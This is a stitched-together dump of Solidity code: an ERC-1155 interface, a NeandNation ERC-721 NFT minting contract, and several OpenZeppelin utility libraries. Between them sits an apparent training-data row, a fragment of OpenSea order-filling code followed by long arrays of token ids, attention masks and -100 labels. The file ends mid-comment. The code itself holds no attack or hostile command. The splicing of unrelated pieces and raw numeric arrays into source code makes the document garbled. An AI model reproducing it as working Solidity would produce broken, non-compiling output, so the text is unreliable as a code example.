pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
} | buy.uints.makerRelayerFee
| openSeaBuyToFill.uints[0] = 0; | 10,379,180 | [
1,
70,
9835,
18,
11890,
87,
18,
29261,
1971,
1773,
14667,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
1696,
1761,
69,
38,
9835,
774,
8026,
18,
11890,
87,
63,
20,
65,
273,
374,
31,
10402,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
// 888b 888 888 888b 888 888 d8b
// 8888b 888 888 8888b 888 888 Y8P
// 88888b 888 888 88888b 888 888
// 888Y88b 888 .d88b. 8888b. 88888b. .d88888 888Y88b 888 8888b. 888888 888 .d88b. 88888b.
// 888 Y88b888 d8P Y8b "88b 888 "88b d88" 888 888 Y88b888 "88b 888 888 d88""88b 888 "88b
// 888 Y88888 88888888 .d888888 888 888 888 888 888 Y88888 .d888888 888 888 888 888 888 888
// 888 Y8888 Y8b. 888 888 888 888 Y88b 888 888 Y8888 888 888 Y88b. 888 Y88..88P 888 888
// 888 Y888 "Y8888 "Y888888 888 888 "Y88888 888 Y888 "Y888888 "Y888 888 "Y88P" 888 888
// NeandNation ERC-721 Contract
// “HOMO-SAPIENS WENT EXTINCT AND NEANDERTHALS KEPT ON THRIVING?”
/// @creator: NeandNation
/// @author: kodbilen.eth - twitter.com/kodbilenadam
/// @co-author: akileus.eth - twitter.com/akileus7
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract NeandNation is ERC721, Pausable, Ownable {
constructor() ERC721("NeandNation", "NN") {}
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
uint public constant TOTAL_SUPPLY = 9999;
uint256 public CLAIMED_SUPPLY;
string IMAGE_URL = "https://neand-api.vercel.app/";
bool public isMintingActive = false;
bool public isPreSaleActive = false;
mapping(address => uint8) private _allowList;
mapping(address => uint256) private _tokensMintedByAddressAtPresale;
uint256 public MINTING_PRICE = 0.066 ether;
uint256 private MAX_TOKENS_MINTED_BY_ADDRESS_PRESALE = 5;
/**
* @dev TokenURI
*/
function _baseURI() internal view override returns (string memory) {
return IMAGE_URL;
}
/**
* @dev Set image URI
*/
function setImageURL(string memory _imageURL) onlyOwner public {
IMAGE_URL = _imageURL;
}
/**
* @dev Pause the contract
*/
function pause() public onlyOwner {
_pause();
}
/**
* @dev Unpause the contract
*/
function unpause() public onlyOwner {
_unpause();
}
/**
* @dev Get tokens minted in pre-sale
*/
function getTokensMintedAtPresale(address account) external view returns(uint256) {
return _tokensMintedByAddressAtPresale[account];
}
/**
* @dev Just in case.
*/
function setPrice(uint256 _newPrice) public onlyOwner() {
MINTING_PRICE = _newPrice;
}
/**
* @dev Start Public Sale
*/
function startMintingProcess() public onlyOwner {
isMintingActive = true;
}
/**
* @dev Pause Public Sale
*/
function pauseMintingProcess() public onlyOwner {
isMintingActive = false;
}
/**
* @dev Start the PreSale
*/
function startPreSaleProcess() public onlyOwner {
isPreSaleActive = true;
}
/**
* @dev Pause the PreSale
*/
function pausePreSaleProcess() public onlyOwner {
isPreSaleActive = false;
}
/**
* @dev Add address to the presale list
*/
function setAllowList(address[] calldata addresses, uint8 numAllowedToMint) external onlyOwner {
for (uint256 i = 0; i < addresses.length; i++) {
_allowList[addresses[i]] = numAllowedToMint;
}
}
/**
* @dev Pre sale mint
*/
function preSaleMint(uint256 numberOfTokens) external payable whenNotPaused {
require(isPreSaleActive, "Pre-sale minting is not active yet.");
require(numberOfTokens <= 5, "Too many requested");
require(CLAIMED_SUPPLY + numberOfTokens < TOTAL_SUPPLY, "Purchase would exceed max tokens");
require(numberOfTokens <= _allowList[msg.sender], "You're not in Pre Sale");
require(_tokensMintedByAddressAtPresale[msg.sender] + numberOfTokens <= MAX_TOKENS_MINTED_BY_ADDRESS_PRESALE, 'Purchase would exceed max tokens that you can mint in presale');
require(MINTING_PRICE * numberOfTokens <= msg.value, "Ether value sent is not correct");
require(msg.sender == tx.origin, "You are not a real person.");
CLAIMED_SUPPLY += numberOfTokens;
for(uint i = 0; i < numberOfTokens; i++) {
safeMint(msg.sender);
_tokensMintedByAddressAtPresale[msg.sender]++;
}
}
/**
* @dev Public Sale Mint
*/
function publicSaleMint(uint256 numberOfTokens) external payable whenNotPaused {
require(isMintingActive, "Public Sale minting is not active yet.");
require(numberOfTokens <= 20, "Too many requested");
require(CLAIMED_SUPPLY + numberOfTokens < TOTAL_SUPPLY, "Purchase would exceed max tokens");
require(msg.sender == tx.origin, "You are not a real person.");
require(MINTING_PRICE * numberOfTokens <= msg.value, "Ether value sent is not correct");
CLAIMED_SUPPLY += numberOfTokens;
for(uint i = 0; i < numberOfTokens; i++) {
safeMint(msg.sender);
}
}
/**
* @dev Owner Mint
*/
function ownerMint(uint256 numberOfTokens) external payable onlyOwner {
require(CLAIMED_SUPPLY + numberOfTokens < TOTAL_SUPPLY, "Purchase would exceed max tokens");
require(numberOfTokens <= 20, "Too many requested");
require(msg.sender == tx.origin, "You are not a real person.");
CLAIMED_SUPPLY += numberOfTokens;
for(uint i = 0; i < numberOfTokens; i++) {
safeMint(msg.sender);
}
}
/**
* @dev Safe Mint
*/
function safeMint(address to) internal virtual {
_safeMint(to, _tokenIdCounter.current());
_tokenIdCounter.increment();
}
/**
* @dev Withdraw and distribute the ether.
*/
function withdraw() public onlyOwner {
uint balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
whenNotPaused
override
{
super._beforeTokenTransfer(from, to, tokenId);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
